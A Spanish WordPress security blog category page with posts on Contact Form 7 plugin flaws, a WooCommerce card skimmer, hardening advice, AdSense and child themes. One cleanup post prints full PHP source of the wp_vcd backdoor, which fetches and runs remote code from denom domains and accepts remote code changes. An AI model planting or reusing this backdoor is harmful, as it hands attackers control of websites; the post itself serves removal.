Archivos de la categoría: Wordpress

Plugin de WordPress sin actualizar afecta a mas de 50000 sitios webs (Contact Form 7)

Categoría: Seguridad Wordpress

Un error de seguridad de CRSF a XSS almacenado afecta a mas de 50.000 usuarios del estilo «Formulario de contacto 7».

Un error de seguridad en Contact Form 7 Style, un complemento de WordPress instalado en más de 50.000 sitios, podría permitir la inyección maliciosa de JavaScript en un sitio web de la víctima.

La última vulnerabilidad de seguridad del complemento de WordPress es una falsificación de solicitud entre sitios (CSRF) a un problema de scripts entre sitios almacenados (XSS) en Contact Form 7 Style, que es un complemento del conocido complemento general Contact Form 7.

Ocupa un 8,8 sobre 10 en la escala de vulnerabilidad-gravedad de CVSS (CVE está pendiente). CSRF permite que un atacante induzca a un usuario víctima a realizar acciones que no es su intención. XSS permite a un atacante ejecutar JavaScript arbitrario dentro del navegador de un usuario víctima. Este error conecta los dos enfoques.

Los investigadores de Wordfence dijeron que aún no hay ningún parche disponible y que las versiones 3.1.9 y anteriores se ven afectadas. WordPress eliminó el complemento del repositorio de complementos de WordPress el 1 de febrero.

Formulario de contacto vulnerable 7 estilo Contact Form 7 se utiliza para crear, como su nombre indica, formularios de contacto utilizados por sitios web. El estilo vulnerable Contact Form 7 es un complemento que se puede utilizar para agregar detalles adicionales a los formularios que se crean con Contact Form 7. Para ello, permite a los usuarios personalizar el código de hojas de estilo en cascada (CSS) de un sitio, que se utiliza para dictar la apariencia de los sitios web basados ​​en WordPress. Aquí es donde radica la vulnerabilidad, según los investigadores de Wordfence. «Debido a la falta de desinfección y la falta de protección nonce en esta función, un atacante podría crear una solicitud para inyectar JavaScript malicioso en un sitio usando el complemento», explicaron, en una publicación de esta semana, agregando que se retendrán más detalles. para dar a los propietarios del sitio la oportunidad de abordar el problema. «Si un atacante engañaba con éxito al administrador de un sitio para que hiciera clic en un enlace o archivo adjunto, entonces la solicitud podría enviarse y la configuración de CSS se actualizaría correctamente para incluir JavaScript malicioso».

Dado que la cantidad de instancias instaladas para el complemento es tan alta, debido a la cantidad de sitios afectados por el cierre de este complemento, proporcionamos intencionalmente detalles mínimos sobre esta vulnerabilidad para brindar a los usuarios tiempo suficiente para encontrar una solución alternativa.

Es posible que proporcionemos detalles adicionales más adelante a medida que continuamos monitoreando la situación. Para explotar la falla, los ciberataques tendrían que convencer a un administrador que haya iniciado sesión para que haga clic en un enlace malicioso, lo que se puede hacer a través de cualquiera de los enfoques comunes de ingeniería social (es decir, a través de un correo electrónico fraudulento o mensaje instantáneo).

Wordfence notificó al desarrollador del complemento sobre el error a principios de diciembre; Después de no recibir respuesta, los investigadores elevaron el problema al equipo de complementos de WordPress a principios de enero. El equipo de complementos de WordPress también se puso en contacto con el desarrollador sin respuesta, lo que llevó a la divulgación esta semana.

Cómo protegerse contra la inyección maliciosa de JavaScript Debido a que, al igual que con todas las vulnerabilidades de CSRF, el error solo se puede aprovechar si un usuario administrador realiza una acción mientras está autenticado en el sitio vulnerable de WordPress, los administradores siempre deben tener cuidado al hacer clic en cualquier enlace. «Si cree que debe hacer clic en un enlace, le recomendamos que utilice ventanas de incógnito cuando no esté seguro acerca de un enlace o archivo adjunto», según Wordfence. «Esta precaución puede proteger su sitio de ser explotado con éxito por esta vulnerabilidad junto con todas las demás vulnerabilidades de CSRF».

En este caso, los usuarios también deben desactivar y eliminar el complemento Contact Form 7 Style y buscar un reemplazo, agregaron los investigadores, ya que parece que no habrá ningún parche.


Vulnerabilidad critica en plugin Contact Form 7 permite tomar control de sitios WordPress

Categoría: Seguridad Wordpress

Se recomienda a quienes utilicen el plugin Contact Form 7 que actualicen a la versión 5.3.2 lo antes posible para mayor seguridad.

Contact Form 7 es un popular plugin activo en más de 5 millones de sitios de WordPress que fue actualizado el día de ayer a la versión 5.3.2. Esta actualización incluye un parche que corrige una vulnerabilidad severa, del tipo Unrestricted File Upload, que permitiría a un atacante realizar varias acciones maliciosas, incluso tomar el control de un sitio o de todo el servidor que aloja el sitio.

Este conocido plugin para WordPress es utilizado para añadir formularios de contacto en un sitio y gestionar los contactos que dejan los usuarios tras completar el formulario.

La vulnerabilidad, clasificada como CVE-2020-35489, afecta a la versión 5.3.1 y anteriores del plugin. De hecho, se estima que cerca del 70% de los usuarios activos de Contact Form 7 están expuestos a este fallo.

Los responsables del hallazgo fueron investigadores de la firma Astra, quienes reportaron el fallo a los desarrolladores del plugin que rápidamente corrigieron la vulnerabilidad con la actualización a la versión 5.3.2.

La vulnerabilidad permite evadir cualquier restricción de formato de archivo por parte de Contact Form y que un atacante pueda subir un ejecutable malicioso en un sitio que tenga habilitada la función de subir archivos y que corra una versión desactualizada del plugin. Esto permitiría al atacante realizar varias acciones, como inyectar un script malicioso en un sitio, tomar el control del mismo o realizar un defacement.

Se recomienda a los propietarios o administradores de sitios que utilicen este plugin que instalen la última actualización cuanto antes.


Vulnerabilidad XSS en complemento de plugin de WordPress

Categoría: Seguridad Wordpress

Una vulnerabilidad de scripts de sitios cruzados (XSS) autenticada podría permitir a los atacantes crear administradores deshonestos en sitios de WordPress utilizando el complemento Contact Form 7 Datepicker

Se recomienda a los administradores de sitios de WordPress que utilicen el complemento Contact Form 7 Datepicker que lo eliminen o desactiven para evitar que los atacantes exploten una vulnerabilidad almacenada de scripts entre sitios (XSS) para crear administradores deshonestos o hacerse cargo de las sesiones de administración.

El Form Contact Form 7 Datepicker ‘es un software de código abierto que permite agregar un campo de fecha a la interfaz de usuario del complemento Contact Form 7 WordPress, que es un complemento de administración de formularios de contacto utilizado actualmente en más de 5 millones de sitios web. El complemento se instaló en más de 100k sitios de WordPress utilizando el complemento Contact Form 7 Datepicker. La falla fue descubierta por investigadores del equipo de Wordfence Threat Intelligence.

«El 1 de abril de 2020, el equipo de Wordfence Threat Intelligence descubrió una vulnerabilidad almacenada de Cross Site Scripting (XSS) en Contact Form 7 Datepicker, un complemento de WordPress instalado en más de 100,000 sitios». informó el análisis publicado por WordFence. «Como la página github del desarrollador del complemento indicó que el complemento ya no se mantenía, contactamos al equipo de complementos de WordPress con nuestra divulgación, e inmediatamente eliminaron el complemento del repositorio para su revisión. «

El complemento se cerró el 1 de abril de 2020 y ya no está disponible para descargar. Sus colaboradores y desarrolladores confirmaron que ya no se mantendrá y se eliminará definitivamente del repositorio de WordPress.

El complemento Contact Form 7 Datepicker permite a los usuarios agregar un selector de fechas a los formularios generados por Contact Form 7. El complemento también permite a los usuarios modificar la configuración de estos datepickers.

“Para procesar esta configuración, registró una acción AJAX que llama a una función que no pudo incluir una verificación de capacidad o una verificación nonce. Como tal, era posible que un atacante conectado con permisos mínimos, como un suscriptor, enviara una solicitud diseñada que contenía JavaScript malicioso que se almacenaría en la configuración del complemento «. continúa el análisis

«La próxima vez que un usuario autorizado cree o modifique un formulario de contacto, el JavaScript almacenado se ejecutará en su navegador, que podría usarse para robar la sesión de un administrador o incluso crear usuarios administrativos maliciosos».

Los administradores de sitios web que usan el complemento defectuoso deben buscar una alternativa para usar en sus sitios web.

Desafortunadamente, el número de ataques que intentan explotar vulnerabilidades en los complementos de WordPress continúa aumentando.

Hace unas semanas, los investigadores de NinTechNet informaron sobre una campaña en curso que explotaba activamente una falla de día cero en los campos de pago flexible de WordPress para el complemento WooCommerce. Otros ataques observados recientemente son:

  • Enero de 2020: una vulnerabilidad de omisión de autenticación en el complemento InfiniteWP que podría afectar a más de 300,000 sitios.
  • Enero de 2020: más de 200 000 sitios de WordPress están expuestos a ataques debido a un error de falsificación de solicitudes entre sitios (CSRF) de alta gravedad en el complemento de fragmentos de código.
  • Febrero de 2020: se puede explotar una falla grave en el plugin de ThemeGrill Demo Importer WordPress con más de 200,000 instalaciones activas para borrar sitios y obtener acceso de administrador al sitio.
  • Febrero de 2020: una vulnerabilidad almacenada entre sitios en el complemento GDPR Cookie Consent que podría afectar a 700K usuarios.
  • Febrero de 2020: los hackers en la naturaleza explotaron activamente una vulnerabilidad de día cero en los complementos ThemeREX para crear cuentas de usuario con permisos de administrador.
  • Marzo de 2020: el complemento de WordPress «Complementos ThemeREX» se ve afectado por una vulnerabilidad crítica que podría permitir a los atacantes remotos ejecutar código arbitrario.
  • Marzo de 2020: las fallas en el complemento de WordPress Builder Builder podrían permitir a atacantes no autenticados inyectar código JavaScript malicioso en ventanas emergentes de más de 100K sitios web.
  • Marzo de 2010: un defecto crítico de escalada de privilegios en el complemento SEO de WordPress: el complemento Rank Math puede permitir a los usuarios registrados obtener privilegios de administrador.

Creo que es muy importante proteger la instalación de WordPress con soluciones dedicadas, y contar con desarrolladores especializados en ciberseguridad. Si usted necesita asesoramiento no dude en consultarme y le responderé a la brevedad.


Expertos descubren robo en WooCommerce

Categoría: JQuery Seguridad Wordpress

Los expertos descubrieron un nuevo e-skimmer empleado en ataques MageCart contra sitios web de WordPress utilizando el complemento WooCommerce.

Los expertos de la firma de seguridad Sucuri descubrieron un nuevo software de e-skimmer que es diferente del malware similar utilizado en los ataques de Magecart. El nuevo software skimmed se empleó en ataques a la tienda electrónica basada en WordPress utilizando el complemento WooCommerce.

El e-skimmer no solo intercepta la información de pago proporcionada por los usuarios en los campos de una página de pago.

«Naturalmente, WooCommerce y otros sitios web de comercio electrónico basados ​​en WordPress han sido atacados anteriormente, pero esto normalmente se ha limitado a modificaciones de los detalles de pago dentro de la configuración del complemento». «Por ejemplo, reenviar pagos al correo electrónico de PayPal del atacante en lugar del propietario legítimo del sitio web. Ver una tarjeta de crédito dedicada al deslizar malware en WordPress es algo bastante nuevo «.

Los expertos inicialmente realizaron un escaneo en el sitio web de un cliente y descubrieron puertas traseras genéricas y otro malware. Luego realizaron una verificación de integridad de los archivos principales y arrojaron luz sobre una parte de la infección.

La mayor parte del código JavaScript inyectado se descubrió cerca del final de un archivo JQuery legítimo («./wp-includes/js/jquery/jquery.js»).

«La mayoría de las inyecciones de JavaScript agregan el código al final del archivo, pero una peculiaridad que noté sobre esto fue que se insertó antes de que finalizara jQuery.noConflict ();» continúa el análisis

«No es tan fácil de ver. El hecho de que el malware se haya alojado dentro de un archivo ya existente y legítimo hace que sea un poco más difícil de detectar «.

La técnica es diferente de los ataques Magecart que emplean e-skimmers cargados desde un sitio web de terceros.

La parte del script que captura los detalles de la tarjeta se inyectó en el archivo «./wp-includes/rest-api/class-wp-rest-api.php».

«Como es típico en el malware PHP, se emplean varias capas de codificación y concatenación en un intento de evitar la detección y ocultar su código central del webmaster promedio», continúa la publicación.

El software malicioso recoge los detalles de pago y guarda los números de tarjeta y los códigos de seguridad CVV en texto plano en forma de cookies. El script luego utiliza la función legítima file_put_contents para almacenarlos en dos archivos de imagen separados (un archivo .PNG y un JPEG) que se mantienen en la estructura de directorios wp-content/uploads.

En el momento del análisis, ambos archivos no contenían datos robados, una circunstancia que sugiere que el malware tenía la capacidad de borrar automáticamente los archivos una vez que los atacantes habían adquirido la información.

«Con WooCommerce recientemente superando a todas las demás plataformas de comercio electrónico en popularidad, era solo cuestión de tiempo antes de que empezáramos a ver a los atacantes atacar esta plataforma con más frecuencia», continúa Security.

WooCommerce dijo que este fue el primer caso de este tipo de malware de robo de tarjetas dirigido a WordPress que encontró, pero que han aparecido muchos más desde entonces, y que «los sitios web de WordPress con funciones de comercio electrónico y transacciones en línea seguramente continuarán». ser objetivo en el futuro «.

En abril de 2019, la empresa de seguridad de WordPress «Plugin Vulnerabilities» descubrió una vulnerabilidad crítica en el complemento de WooCommerce que expuso a los sitios web de comercio electrónico basados ​​en WordPress para piratear.

La vulnerabilidad afecta al complemento WooCommerce Checkout Manager que permite a los propietarios de sitios web de comercio electrónico basados ​​en WordPress y ejecutar el complemento WooCommerce personalizar formularios en sus páginas de pago.

Los expertos descubrieron una vulnerabilidad de «carga arbitraria de archivos» que puede ser explotada por atacantes remotos no autenticados cuando los sitios web tienen habilitada la opción «Categorizar archivos cargados» dentro de la configuración del complemento WooCommerce Checkout Manager.

Los expertos de Sucuri recomiendan que los administradores de sitios de WordPress deshabiliten la edición directa de archivos para wp-admin agregando la siguiente línea a su archivo wp-config.php:

define( ‘DISALLOW_FILE_EDIT’, true );

“Esto incluso evita que los usuarios administradores puedan editar directamente archivos desde el panel de control de wp-admin. En el caso de una cuenta de administrador comprometida, esto puede marcar la diferencia entre el atacante que entrega su carga útil o no «. concluye Sucuri.

Si tiene alguna duda o sugerencia no deje de comentar debajo o mediante el formulario de contacto. Si está interesado en mejoras a su sitio web, o un análisis de seguridad también.


Mi sitio web es un WordPress. Debo preocuparme?

No descubro nada si digo que wordpress es hoy por hoy el gestor de contenido mas usado en el mundo y con miras de seguir creciendo. Para tener una idea de la dimensión de lo que digo les dejo unas estadísticas.

  • WordPress alimenta el 35% de Internet en 2020, un aumento del 2% en comparación con principios de 2019 y un aumento del 4% con respecto al año anterior.
  • Si solo cuenta los sitios creados por CMS, aproximadamente el 60% de ellos son WordPress
  • Más de 400 millones de personas visitan los sitios de WordPress cada mes
  • En 2019, se publicaron casi 160 mil millones de palabras en WordPress
  • Pero WordPress no es usado solamente para Blogs – Cerca del 28% de todos los ecommerces lo hacen a traves de WooCommerce
  • 305 tiendas nuevas WooCommerce aparecen en promedio en cada día
  • 873 sitios wordpress se agregan diariamente tambien en promedio
  • WordPress ofrece mas de 56000 plugins y mas de 3500 templates con licencia GPL
  • En 2019, los descargas de wordpress, en idioma distinto al inglés, fueron mas las de idioma inglés

Al tener tanto éxito a nivel mundial, también lo es para personas maliciosas que quieren usar los diferentes sitios para sus propósitos (como botnet, como generador de criptomonedas, para robar tarjetas de credito, credenciales, etc).

Si bien las amenazas son muchas también lo son las defensas que la mayoría de los programadores agrega diariamente a sus respectivos códigos, como así también a los plugins y temas usados.

Los principales problemas a la hora de tener un sitio wordpress ejecutando en un servidor y que este sea vulnerable son los siguientes:

Software basico obsoleto:

De todos los sitios wordpress pirateados en el ultimo año el 40% tenia el software basico obsoleto. Las actualizaciones de wordpress se dan generalmente cada 2 semanas. Principalmente pequeñas porciones de codigo son reemplazadas por codigo mas eficiente y seguro. Las grandes actualizaciones son para bugs criticos de seguridad y/o nuevas features.

Plugins o Temas obsoletos:

Una de las cosas que a la gente le encanta de WordPress es el vertiginoso conjunto de plugins y temas disponibles. Al momento de escribir esto, hay más de 56,000 en el repositorio de WordPress, y miles de otros premium adicionales esparcidos por toda la web.

Aunque todas esas opciones son excelentes para ampliar su sitio, cada extensión es una nueva puerta de entrada potencial para un actor malicioso. Y aunque la mayoría de los desarrolladores de WordPress hacen un buen trabajo siguiendo los estándares de código y parcheando cualquier actualización a medida que se las conoce, todavía hay algunos problemas potenciales:

  • Un plugin o tema tiene una vulnerabilidad y, debido a que no hay tantos ojos en él como el software central de WordPress, esa vulnerabilidad pasa desapercibida.
  • El desarrollador ha dejado de trabajar en la extensión pero la gente sigue usándola.
  • El desarrollador rápidamente parchea el problema, pero la gente no lo actualiza.

Entonces, ¿qué tan grande es el problema?

Bueno, en una encuesta de Wordfence de propietarios de sitios web pirateados, más del 60% de los propietarios de sitios web que sabían cómo llegó el hacker lo atribuyeron a un plugin o a una vulnerabilidad temática.

Credenciales de acceso comprometidas para WordPress, FTP o Hosting

Ok, esto no es realmente culpa de WordPress. Pero un porcentaje no despreciable de hacks provienen de actores maliciosos que tienen en sus manos las credenciales de inicio de sesión de WordPress, o las credenciales de inicio de sesión de las cuentas de alojamiento o FTP de los webmasters.

En la misma encuesta de Wordfence, los ataques por fuerza bruta representaron ~16% de los sitios pirateados, con robo de contraseñas, estaciones de trabajo, phishing y cuentas FTP, todos ellos con una apariencia pequeña, pero notable.

Una vez que un actor malicioso recibe la llave metafórica de la puerta principal, no importa qué tan seguro sea su sitio WordPress.

WordPress realmente hace un gran trabajo para mitigar esto generando automáticamente contraseñas seguras, pero todavía depende de los usuarios mantener esas contraseñas seguras y también usar contraseñas fuertes para hospedaje y FTP.

Aporte: Tomar medidas básicas para mantener seguras las credenciales de las cuentas puede evitar que actores maliciosos entren. Use/imponga contraseñas seguras para todas las cuentas de WordPress y limite los intentos de acceso para prevenir ataques de fuerza bruta.

Para cuentas de alojamiento, utilice la autenticación de dos factores si está disponible y nunca almacene su contraseña FTP en texto plano (como hacen algunos programas FTP).

Si puede elegir entre FTP y SFTP (Protocolo de transferencia de archivos SSH), utilice siempre SFTP. Esto asegura que nunca se transfieran contraseñas de texto claro o datos de archivo. Sólo soportamos conexiones seguras en Kinsta.

4. Ataques a la cadena de suministro

Recientemente, ha habido algunos casos en los que los hackers obtienen acceso a los sitios a través de un truco desagradable llamado ataque a la cadena de suministro. Esencialmente, el actor malicioso lo haría:

  • Compra un plugin de alta calidad que se encuentra en WordPress.org
  • Añadir una puerta trasera al código del plugin
  • Espere a que la gente actualice el plugin y luego inyecte la puerta trasera.

Wordfence tiene una explicación más profunda si le interesa. Aunque estos tipos de ataques no están muy extendidos, son más difíciles de prevenir porque resultan de hacer algo que usted debería estar haciendo (mantener un plugin actualizado).

Dicho esto, el equipo de WordPress.org normalmente detecta rápidamente estos problemas y elimina el plugin del directorio.

Aporte: Esto puede ser difícil de prevenir porque es bueno actualizarse siempre a la última versión. Para ayudar, los plugins de seguridad como Wordfence pueden alertarle cuando un plugin es removido de WordPress.org de modo que usted lo dirija rápidamente. Y una buena estrategia de respaldo puede ayudarlo a retroceder sin ningún daño permanente.

5. Entorno de alojamiento deficiente y tecnología obsoleta

Más allá de lo que está sucediendo en su sitio WordPress, su entorno de alojamiento y las tecnologías que utiliza también marcan la diferencia. Por ejemplo, a pesar de que PHP 7 ofrece muchas mejoras de seguridad sobre PHP 5, sólo ~33% de los sitios de WordPress están usando PHP 7 o superior.

Uso de PHP en el sitio web de WordPress. (Fuente de la imagen: WordPress.org)

El soporte de seguridad de PHP 5.6 expiró oficialmente a finales de 2018. Y las versiones anteriores de PHP 5 no han tenido soporte de seguridad durante años.

Esto significa que el uso de un entorno de alojamiento que utiliza PHP 5.6 o inferior le abrió el potencial de vulnerabilidades de seguridad de PHP no parcheadas.

A pesar de ello, un ~28% de los sitios web de WordPress siguen usando versiones PHP por debajo de 5.6, lo que es un gran problema si se tiene en cuenta que recientemente hemos visto años récord para el número de vulnerabilidades PHP descubiertas.

Más allá de darle acceso a las últimas tecnologías, el uso de alojamiento seguro de WordPress también puede ayudarle a mitigar automáticamente muchas de las otras posibles vulnerabilidades de seguridad con:

  • Cortafuegos de aplicaciones web
  • Actualizaciones automáticas para versiones de seguridad
  • Autenticación de dos factores
  • Copias de seguridad automáticas

Aportar: El uso de un entorno de alojamiento seguro y las versiones recientes de tecnologías importantes como PHP ayuda a garantizar aún más que su sitio WordPress permanezca seguro.

¿Quién es responsable de mantener la seguridad de WordPress?

Ahora se estará preguntando, ¿quién es responsable de combatir todos los problemas mencionados anteriormente?

Oficialmente, esa responsabilidad recae en el Equipo de Seguridad de WordPress (aunque los colaboradores y desarrolladores individuales de todo el mundo también juegan un papel importante en mantener la seguridad de WordPress).

El equipo de seguridad de WordPress está formado por «50 expertos, incluidos desarrolladores líderes e investigadores de seguridad». Alrededor de la mitad de estos expertos trabajan en Automattic. Otros trabajan en seguridad web, y el equipo también consulta con investigadores de seguridad y empresas de hosting.

Si está interesado en una visión detallada de cómo funciona el Equipo de Seguridad de WordPress, puede ver la charla de 48 minutos de Aaron Campbell desde WordCamp Europe 2017. Pero en general, el equipo de seguridad de WordPress:

El Equipo de Seguridad de WordPress tiene una política de divulgación que significa que, una vez que han reparado con éxito el fallo y liberado la corrección de seguridad, revelan públicamente el problema (esto es parte de la razón por la que tantos sitios fueron desfigurados en 2017 – todavía no habían aplicado la actualización incluso después de que el equipo de seguridad revelara públicamente el fallo).

Lo que el Equipo de Seguridad de WordPress no hace es revisar todos los temas y plugins en WordPress.org. Los temas y plugins de WordPress.org son revisados manualmente por voluntarios. Pero esa revisión no es «una garantía de que estén libres de vulnerabilidades de seguridad».

Así que – ¿Es WordPress seguro si usted sigue las mejores prácticas?

Si se fijan en todos los datos y hechos anteriores, verán esta tendencia general:

Aunque ningún sistema de gestión de contenidos es 100% seguro, WordPress tiene un aparato de seguridad de calidad para el software principal y la mayoría de los hacks son el resultado directo de que los webmasters no siguen las mejores prácticas de seguridad básicas.

Si hace cosas como….

  • Mantener actualizados el software, los plugins y los temas principales de WordPress.
  • Elegir los plugins y temas sabiamente y sólo instale extensiones de desarrolladores/fuentes de confianza. Cuidado con los clubs GPL y los plugins/temas nulos.
  • Si puede elegir entre FTP y SFTP, utilice siempre SFTP.
  • Utilizar contraseñas seguras para WordPress, así como para sus cuentas de hosting y SFTP (y autenticación de dos factores si está disponible).
  • No usar «admin» para su nombre de usuario.
  • Mantener su propio ordenador libre de virus.
  • Utilizar un certificado TLS (HTTPS) para que toda la comunicación con su sitio de WordPress (como iniciar sesión en su panel de control) esté cifrada.
  • Utilizar las teclas SSH. Esto proporciona una forma más segura de iniciar sesión en un servidor y elimina la necesidad de una contraseña.
  • Elegir un host con un entorno seguro y utilice las últimas tecnologías como PHP 7+.

…entonces WordPress es seguro y su sitio debe permanecer libre de piratas informáticos tanto ahora como en el futuro. Si usted es cliente nuestro, tampoco tiene que preocuparse. Si por casualidad su sitio es pirateado, lo aconsejaremos y le daremos una solución profesional a su sitio web.

No deje de consultarnos. Somos profesionales y expertos en seguridad informática.


Eliminar Malware en WordPress

Categoría: Seguridad Wordpress

Si encuentras en el código fuente de los sitios wordpress, algo parecido al código debajo es porque tienes el sitio wordpress infectado.

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password']

Comúnmente pasa por bajar plugins o themes premium desde lugares en donde se ofrecen de forma gratuita. Pero es muy simple eliminar esta clase de virus. Para ello vamos a realizar lo siguiente.

  1. En el directorio wp-includes, borramos los archivos wp-vcd.php y wp-tmp.php
  2. En el directorio wp-includes, abrimos el archivo post.php y borramos el contenido dentro del primer tag php agregado por el malware. (if (file_exists(dirname(FILE) . ‘/wp-vcd.php’)) include_once(dirname(FILE) . ‘/wp-vcd.php’);)
  3. Abrimos el archivo del theme functions.php, y borramos el siguiente código.
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '429acb1c29e4800452a3538a8f91edd0'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='70daf53a6c8b84ec5c45e84e576ae4d2';
if (($tmpcontent = @file_get_contents("http://www.denom.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.denom.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.denom.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = @file_get_contents("http://www.denom.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.denom.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//wp_tmp
//$end_wp_theme_tmp

Con esto debería ser suficiente, pero si tenemos mas themes o plugins que hemos bajado necesitamos verificar antes de instalar directamente desde el zip original.


Adsense en Sitios WordPress 2017

Seguir usando adsense en sitios wordpress

El plugin para wordpress de adsense de google dejará de estar disponible en mayo de el 2017. Es por ello que deberíamos realizar unos pequeños cambios para poder seguir usando adsense en nuestro sitio web.

1. Crea una copia de seguridad de tu sitio web de WordPress.
2. Desactiva el plugin oficial de AdSense para WordPress y retira los anuncios de AdSense que ya estén creados.
3. Elige una de las siguientes opciones para seguir mostrando anuncios de AdSense.
Opción 1: Mostrar anuncios con QuickStart
Conecta tu sitio web con un fragmento de código sencillo (código de anuncio a nivel de página) para que AdSense pueda incluir anuncios de forma automática. Cuando hayas añadido este código a tu página, solo tendrás que activar un interruptor en AdSense para que los anuncios empiecen a mostrarse automáticamente.
Debes usar otro complemento de WordPress para editar la sección <head> de la plantilla de tu sitio web de WordPress
Opción 2: Mostrar anuncios personalizados de AdSense
Inserta bloques de anuncios mediante los widgets de WordPress para crear y publicar tus propios bloques de anuncios.
Para ello, crea widgets de texto en WordPress y, a continuación, copia los códigos de tus bloques de anuncios y pégalos en dichos widgets.
4. Asegúrate de que tu sitio web cumpla las políticas de emplazamiento de anuncios de AdSense.
5. Retira por completo el plugin oficial de AdSense.
6. Opcional: Para seguir usando Google Search Console, comprueba que has verificado tu sitio web.

Si necesita alguna configuración extra o algún inconveniente realizando estos pasos, no dude en ponerse en contacto conmigo.


Crear Tema Hijo en WordPress

Creando Temas Hijos en WordPress

Muchas veces necesitamos realizar cambios a nuestro sitio wordpress. Si son pequeños cambios el problema no parecería ser mayor. Pero aún en estos cambios hay que tener una consideración especial.

Si modificamos el tema de wordpress en si mismo, cualquier nueva actualización sobreescribirá estos mismos. Es por ello que existen los child themes (temas hijos), así evitamos que los cambios anteriores se pierdan.

Pasos a seguir:

1 – Crear dentro de wp-content/themes una carpeta nueva con cualquier nombre. Lo ideal sería usar «nombredetemapadre-child» ya que podríamos tener varios temas y nos resultaría mas simple identificarlos después.

2 – Una vez creada la carpeta necesitamos crear un archivo dentro de la misma llamado «style.css» con el siguiente código dentro.

/*
Theme Name: Nombre Theme Hijo (Puede llevar espacios)
Theme URI: http://www.marioblock.com.ar
Version: 1.0
Description: Tema hijo de "Nombre Theme Padre" para hacer cambios sin riesgo alguno
Author: Mario Block
Author URI: http://www.marioblock.com.ar
Template: Nombre Theme Padre
Text Domain: Nombre Theme Hijo (minúsculas y sin espacios)
*/

@import url("../nombrethemepadre/style.css");

/*----------------- Empieza a añadir cambios aquí abajo -------------------------------*/

Con ese archivo archivo solo se podría subir tranquilamente y ya tendríamos un tema hijo. Pero el método @import no es recomendable para cargar estilos css, ya que consume mas recursos y por ende mas tiempo. La forma correcta de agregar estilos a nuestro tema es mediante las funciones provistas por wordpress.

Las funciones serían wp_enqueue_scripts action y wp_enqueue_style(). Ambas provistas por wordpress para encolar en forma correcta los scripts y los estilos.

Si tu tema padre contiene código css también deberás encolarlo. Seteando ‘parent-style’ como dependencia te asegurará que el css hijo se cargue después que este.  El código completo sería el siguiente.

<?php
function my_theme_enqueue_styles() {

    $parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.

    wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
    wp_enqueue_style( 'child-style',
        get_stylesheet_directory_uri() . '/style.css',
        array( $parent_style ),
